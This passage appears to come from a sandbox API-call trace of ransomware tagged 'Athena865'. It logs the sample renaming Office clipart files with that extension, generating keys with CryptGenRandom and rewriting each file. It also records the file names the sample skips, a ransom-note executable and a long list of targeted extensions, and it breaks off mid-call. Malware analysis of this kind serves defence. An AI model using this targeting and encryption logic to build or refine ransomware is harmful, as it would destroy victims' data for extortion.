(lpString1="WMF", lpString2="dct") returned 1 [0128.653] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF.Athena865") returned 73 [0128.653] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233992.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233992.wmf.athena865"), dwFlags=0x1) returned 1 [0128.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233992.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.654] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=38750) returned 1 [0128.654] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0128.655] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0128.655] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0128.655] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.655] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.656] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.656] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9a60, lpName=0x0) returned 0x154 [0128.657] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9a60) returned 0x100000 [0128.660] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.661] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.661] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0128.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0128.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0128.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0128.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0128.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0128.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0128.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0128.662] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0128.662] CloseHandle (hObject=0x154) returned 1 [0128.662] CloseHandle (hObject=0x17c) returned 1 [0128.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0128.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0128.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0128.663] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f727e00, ftCreationTime.dwHighDateTime=0x1be7b5a, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f727e00, ftLastWriteTime.dwHighDateTime=0x1be7b5a, nFileSizeHigh=0x0, nFileSizeLow=0xcec6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0234000.WMF", cAlternateFileName="")) returned 1 [0128.663] lstrcmpiW (lpString1="J0234000.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0128.663] lstrcmpiW (lpString1="J0234000.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0128.663] lstrcmpiW (lpString1="J0234000.WMF", lpString2=".") returned 1 [0128.663] lstrcmpiW (lpString1="J0234000.WMF", lpString2="..") returned 1 [0128.663] lstrcmpiW (lpString1="J0234000.WMF", lpString2="windows") returned -1 [0128.663] lstrcmpiW (lpString1="J0234000.WMF", lpString2="bootmgr") returned 1 [0128.663] lstrcmpiW (lpString1="J0234000.WMF", lpString2="temp") returned -1 [0128.663] lstrcmpiW (lpString1="J0234000.WMF", lpString2="pagefile.sys") returned -1 [0128.663] lstrcmpiW (lpString1="J0234000.WMF", lpString2="boot") returned 1 [0128.663] lstrcmpiW (lpString1="J0234000.WMF", lpString2="ids.txt") returned 1 [0128.663] lstrcmpiW (lpString1="J0234000.WMF", lpString2="ntuser.dat") returned -1 [0128.663] lstrcmpiW (lpString1="J0234000.WMF", lpString2="perflogs") returned -1 [0128.663] lstrcmpiW (lpString1="J0234000.WMF", lpString2="MSBuild") returned -1 [0128.663] lstrlenW (lpString="J0234000.WMF") returned 12 [0128.663] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0234000.WMF" | out: lpString1="J0234000.WMF") returned="J0234000.WMF" [0128.663] lstrlenW (lpString="J0234000.WMF") returned 12 [0128.663] lstrlenW (lpString="Athena865") returned 9 [0128.663] lstrcmpiW (lpString1="34000.WMF", lpString2="Athena865") returned -1 [0128.663] lstrlenW (lpString=".dll") returned 4 [0128.663] lstrcmpiW (lpString1="J0234000.WMF", lpString2=".dll") returned 1 [0128.663] lstrlenW (lpString=".lnk") returned 4 [0128.663] lstrcmpiW (lpString1="J0234000.WMF", lpString2=".lnk") returned 1 [0128.663] lstrlenW (lpString=".ini") returned 4 [0128.663] lstrcmpiW (lpString1="J0234000.WMF", lpString2=".ini") returned 1 [0128.663] lstrlenW (lpString=".sys") returned 4 [0128.664] lstrcmpiW (lpString1="J0234000.WMF", lpString2=".sys") returned 1 [0128.664] lstrlenW (lpString="J0234000.WMF") returned 12 [0128.664] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF.Athena865") returned 73 [0128.664] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234000.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234000.wmf.athena865"), dwFlags=0x1) returned 1 [0128.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234000.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.665] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=52934) returned 1 [0128.665] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0128.665] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0128.665] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0128.665] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.666] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.666] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.666] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd1d0, lpName=0x0) returned 0x154 [0128.668] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd1d0) returned 0x100000 [0128.671] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.672] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.672] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0128.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0128.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0128.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0128.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0128.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0128.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0128.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0128.673] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0128.673] CloseHandle (hObject=0x154) returned 1 [0128.673] CloseHandle (hObject=0x17c) returned 1 [0128.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0128.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0128.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0128.674] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97fc7700, ftCreationTime.dwHighDateTime=0x1be7b5e, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97fc7700, ftLastWriteTime.dwHighDateTime=0x1be7b5e, nFileSizeHigh=0x0, nFileSizeLow=0x4b40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0234001.WMF", cAlternateFileName="")) returned 1 [0128.674] lstrcmpiW (lpString1="J0234001.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0128.674] lstrcmpiW (lpString1="J0234001.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0128.674] lstrcmpiW (lpString1="J0234001.WMF", lpString2=".") returned 1 [0128.674] lstrcmpiW (lpString1="J0234001.WMF", lpString2="..") returned 1 [0128.674] lstrcmpiW (lpString1="J0234001.WMF", lpString2="windows") returned -1 [0128.674] lstrcmpiW (lpString1="J0234001.WMF", lpString2="bootmgr") returned 1 [0128.674] lstrcmpiW (lpString1="J0234001.WMF", lpString2="temp") returned -1 [0128.674] lstrcmpiW (lpString1="J0234001.WMF", lpString2="pagefile.sys") returned -1 [0128.674] lstrcmpiW (lpString1="J0234001.WMF", lpString2="boot") returned 1 [0128.674] lstrcmpiW (lpString1="J0234001.WMF", lpString2="ids.txt") returned 1 [0128.674] lstrcmpiW (lpString1="J0234001.WMF", lpString2="ntuser.dat") returned -1 [0128.674] lstrcmpiW (lpString1="J0234001.WMF", lpString2="perflogs") returned -1 [0128.674] lstrcmpiW (lpString1="J0234001.WMF", lpString2="MSBuild") returned -1 [0128.674] lstrlenW (lpString="J0234001.WMF") returned 12 [0128.674] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0234001.WMF" | out: lpString1="J0234001.WMF") returned="J0234001.WMF" [0128.674] lstrlenW (lpString="J0234001.WMF") returned 12 [0128.675] lstrlenW (lpString="Athena865") returned 9 [0128.675] lstrcmpiW (lpString1="34001.WMF", lpString2="Athena865") returned -1 [0128.675] lstrlenW (lpString=".dll") returned 4 [0128.675] lstrcmpiW (lpString1="J0234001.WMF", lpString2=".dll") returned 1 [0128.675] lstrlenW (lpString=".lnk") returned 4 [0128.675] lstrcmpiW (lpString1="J0234001.WMF", lpString2=".lnk") returned 1 [0128.675] lstrlenW (lpString=".ini") returned 4 [0128.675] lstrcmpiW (lpString1="J0234001.WMF", lpString2=".ini") returned 1 [0128.675] lstrlenW (lpString=".sys") returned 4 [0128.675] lstrcmpiW (lpString1="J0234001.WMF", lpString2=".sys") returned 1 [0128.675] lstrlenW (lpString="J0234001.WMF") returned 12 [0128.675] lstrlenW (lpString="bak") returned 3 [0128.675] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0128.675] lstrlenW (lpString="ba_") returned 3 [0128.675] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0128.675] lstrlenW (lpString="dbb") returned 3 [0128.675] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0128.675] lstrlenW (lpString="vmdk") returned 4 [0128.675] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0128.675] lstrlenW (lpString="rar") returned 3 [0128.675] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0128.675] lstrlenW (lpString="zip") returned 3 [0128.675] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0128.675] lstrlenW (lpString="tgz") returned 3 [0128.675] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0128.675] lstrlenW (lpString="vbox") returned 4 [0128.675] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0128.676] lstrlenW (lpString="vdi") returned 3 [0128.676] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0128.676] lstrlenW (lpString="vhd") returned 3 [0128.676] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0128.676] lstrlenW (lpString="vhdx") returned 4 [0128.676] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0128.676] lstrlenW (lpString="avhd") returned 4 [0128.676] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0128.676] lstrlenW (lpString="db") returned 2 [0128.676] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0128.676] lstrlenW (lpString="db2") returned 3 [0128.676] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0128.676] lstrlenW (lpString="db3") returned 3 [0128.676] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0128.676] lstrlenW (lpString="dbf") returned 3 [0128.676] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0128.676] lstrlenW (lpString="mdf") returned 3 [0128.676] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0128.676] lstrlenW (lpString="mdb") returned 3 [0128.676] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0128.676] lstrlenW (lpString="sql") returned 3 [0128.676] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0128.676] lstrlenW (lpString="sqlite") returned 6 [0128.676] lstrcmpiW (lpString1="01.WMF", lpString2="sqlite") returned -1 [0128.676] lstrlenW (lpString="sqlite3") returned 7 [0128.676] lstrcmpiW (lpString1="001.WMF", lpString2="sqlite3") returned -1 [0128.676] lstrlenW (lpString="sqlitedb") returned 8 [0128.677] lstrcmpiW (lpString1="4001.WMF", lpString2="sqlitedb") returned -1 [0128.677] lstrlenW (lpString="xml") returned 3 [0128.677] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0128.677] lstrlenW (lpString="$er") returned 3 [0128.677] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0128.677] lstrlenW (lpString="4dd") returned 3 [0128.677] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0128.677] lstrlenW (lpString="4dl") returned 3 [0128.677] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0128.677] lstrlenW (lpString="^^^") returned 3 [0128.677] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0128.677] lstrlenW (lpString="abs") returned 3 [0128.677] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0128.677] lstrlenW (lpString="abx") returned 3 [0128.677] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0128.677] lstrlenW (lpString="accdb") returned 5 [0128.677] lstrcmpiW (lpString1="1.WMF", lpString2="accdb") returned -1 [0128.677] lstrlenW (lpString="accdc") returned 5 [0128.677] lstrcmpiW (lpString1="1.WMF", lpString2="accdc") returned -1 [0128.677] lstrlenW (lpString="accde") returned 5 [0128.677] lstrcmpiW (lpString1="1.WMF", lpString2="accde") returned -1 [0128.677] lstrlenW (lpString="accdr") returned 5 [0128.677] lstrcmpiW (lpString1="1.WMF", lpString2="accdr") returned -1 [0128.677] lstrlenW (lpString="accdt") returned 5 [0128.677] lstrcmpiW (lpString1="1.WMF", lpString2="accdt") returned -1 [0128.677] lstrlenW (lpString="accdw") returned 5 [0128.677] lstrcmpiW (lpString1="1.WMF", lpString2="accdw") returned -1 [0128.677] lstrlenW (lpString="accft") returned 5 [0128.678] lstrcmpiW (lpString1="1.WMF", lpString2="accft") returned -1 [0128.678] lstrlenW (lpString="adb") returned 3 [0128.678] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0128.678] lstrlenW (lpString="adb") returned 3 [0128.678] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0128.678] lstrlenW (lpString="ade") returned 3 [0128.678] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0128.678] lstrlenW (lpString="adf") returned 3 [0128.678] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0128.678] lstrlenW (lpString="adn") returned 3 [0128.678] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0128.678] lstrlenW (lpString="adp") returned 3 [0128.678] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0128.678] lstrlenW (lpString="alf") returned 3 [0128.678] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0128.678] lstrlenW (lpString="ask") returned 3 [0128.678] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0128.678] lstrlenW (lpString="btr") returned 3 [0128.678] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0128.678] lstrlenW (lpString="cat") returned 3 [0128.678] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0128.678] lstrlenW (lpString="cdb") returned 3 [0128.678] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0128.678] lstrlenW (lpString="ckp") returned 3 [0128.678] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0128.678] lstrlenW (lpString="cma") returned 3 [0128.678] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0128.679] lstrlenW (lpString="cpd") returned 3 [0128.679] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0128.679] lstrlenW (lpString="dacpac") returned 6 [0128.679] lstrcmpiW (lpString1="01.WMF", lpString2="dacpac") returned -1 [0128.679] lstrlenW (lpString="dad") returned 3 [0128.679] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0128.679] lstrlenW (lpString="dadiagrams") returned 10 [0128.679] lstrcmpiW (lpString1="234001.WMF", lpString2="dadiagrams") returned -1 [0128.679] lstrlenW (lpString="daschema") returned 8 [0128.679] lstrcmpiW (lpString1="4001.WMF", lpString2="daschema") returned -1 [0128.679] lstrlenW (lpString="db-journal") returned 10 [0128.679] lstrcmpiW (lpString1="234001.WMF", lpString2="db-journal") returned -1 [0128.679] lstrlenW (lpString="db-shm") returned 6 [0128.679] lstrcmpiW (lpString1="01.WMF", lpString2="db-shm") returned -1 [0128.679] lstrlenW (lpString="db-wal") returned 6 [0128.679] lstrcmpiW (lpString1="01.WMF", lpString2="db-wal") returned -1 [0128.679] lstrlenW (lpString="dbc") returned 3 [0128.679] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0128.679] lstrlenW (lpString="dbs") returned 3 [0128.679] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0128.679] lstrlenW (lpString="dbt") returned 3 [0128.679] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0128.679] lstrlenW (lpString="dbv") returned 3 [0128.679] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0128.679] lstrlenW (lpString="dbx") returned 3 [0128.679] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0128.680] lstrlenW (lpString="dcb") returned 3 [0128.680] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0128.680] lstrlenW (lpString="dct") returned 3 [0128.680] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0128.680] lstrlenW (lpString="dcx") returned 3 [0128.680] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0128.680] lstrlenW (lpString="ddl") returned 3 [0128.680] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0128.680] lstrlenW (lpString="dlis") returned 4 [0128.680] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0128.680] lstrlenW (lpString="dp1") returned 3 [0128.680] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0128.680] lstrlenW (lpString="dqy") returned 3 [0128.680] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0128.680] lstrlenW (lpString="dsk") returned 3 [0128.680] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0128.680] lstrlenW (lpString="dsn") returned 3 [0128.680] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0128.680] lstrlenW (lpString="dtsx") returned 4 [0128.680] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0128.680] lstrlenW (lpString="dxl") returned 3 [0128.680] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0128.680] lstrlenW (lpString="eco") returned 3 [0128.680] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0128.680] lstrlenW (lpString="ecx") returned 3 [0128.680] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0128.680] lstrlenW (lpString="edb") returned 3 [0128.681] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0128.681] lstrlenW (lpString="epim") returned 4 [0128.681] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0128.681] lstrlenW (lpString="fcd") returned 3 [0128.681] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0128.681] lstrlenW (lpString="fdb") returned 3 [0128.681] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0128.681] lstrlenW (lpString="fic") returned 3 [0128.681] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0128.681] lstrlenW (lpString="flexolibrary") returned 12 [0128.681] lstrlenW (lpString="fm5") returned 3 [0128.681] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0128.681] lstrlenW (lpString="fmp") returned 3 [0128.681] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0128.681] lstrlenW (lpString="fmp12") returned 5 [0128.681] lstrcmpiW (lpString1="1.WMF", lpString2="fmp12") returned -1 [0128.681] lstrlenW (lpString="fmpsl") returned 5 [0128.681] lstrcmpiW (lpString1="1.WMF", lpString2="fmpsl") returned -1 [0128.681] lstrlenW (lpString="fol") returned 3 [0128.681] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0128.681] lstrlenW (lpString="fp3") returned 3 [0128.681] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0128.681] lstrlenW (lpString="fp4") returned 3 [0128.681] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0128.681] lstrlenW (lpString="fp5") returned 3 [0128.681] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0128.681] lstrlenW (lpString="fp7") returned 3 [0128.681] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0128.682] lstrlenW (lpString="fpt") returned 3 [0128.682] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0128.682] lstrlenW (lpString="frm") returned 3 [0128.682] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0128.682] lstrlenW (lpString="gdb") returned 3 [0128.682] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0128.682] lstrlenW (lpString="gdb") returned 3 [0128.682] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0128.682] lstrlenW (lpString="grdb") returned 4 [0128.682] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0128.682] lstrlenW (lpString="gwi") returned 3 [0128.682] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0128.682] lstrlenW (lpString="hdb") returned 3 [0128.682] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0128.682] lstrlenW (lpString="his") returned 3 [0128.682] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0128.682] lstrlenW (lpString="ib") returned 2 [0128.682] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0128.682] lstrlenW (lpString="idb") returned 3 [0128.682] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0128.682] lstrlenW (lpString="ihx") returned 3 [0128.682] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0128.682] lstrlenW (lpString="itdb") returned 4 [0128.682] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0128.682] lstrlenW (lpString="itw") returned 3 [0128.682] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0128.682] lstrlenW (lpString="jet") returned 3 [0128.683] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0128.683] lstrlenW (lpString="jtx") returned 3 [0128.683] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0128.683] lstrlenW (lpString="kdb") returned 3 [0128.683] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0128.683] lstrlenW (lpString="kexi") returned 4 [0128.683] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0128.683] lstrlenW (lpString="kexic") returned 5 [0128.683] lstrcmpiW (lpString1="1.WMF", lpString2="kexic") returned -1 [0128.683] lstrlenW (lpString="kexis") returned 5 [0128.683] lstrcmpiW (lpString1="1.WMF", lpString2="kexis") returned -1 [0128.683] lstrlenW (lpString="lgc") returned 3 [0128.683] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0128.683] lstrlenW (lpString="lwx") returned 3 [0128.683] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0128.683] lstrlenW (lpString="maf") returned 3 [0128.683] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0128.683] lstrlenW (lpString="maq") returned 3 [0128.683] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0128.683] lstrlenW (lpString="mar") returned 3 [0128.683] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0128.683] lstrlenW (lpString="marshal") returned 7 [0128.683] lstrcmpiW (lpString1="001.WMF", lpString2="marshal") returned -1 [0128.683] lstrlenW (lpString="mas") returned 3 [0128.683] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0128.683] lstrlenW (lpString="mav") returned 3 [0128.683] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0128.684] lstrlenW (lpString="maw") returned 3 [0128.684] lstrcmpiW (lpString1="WMF", 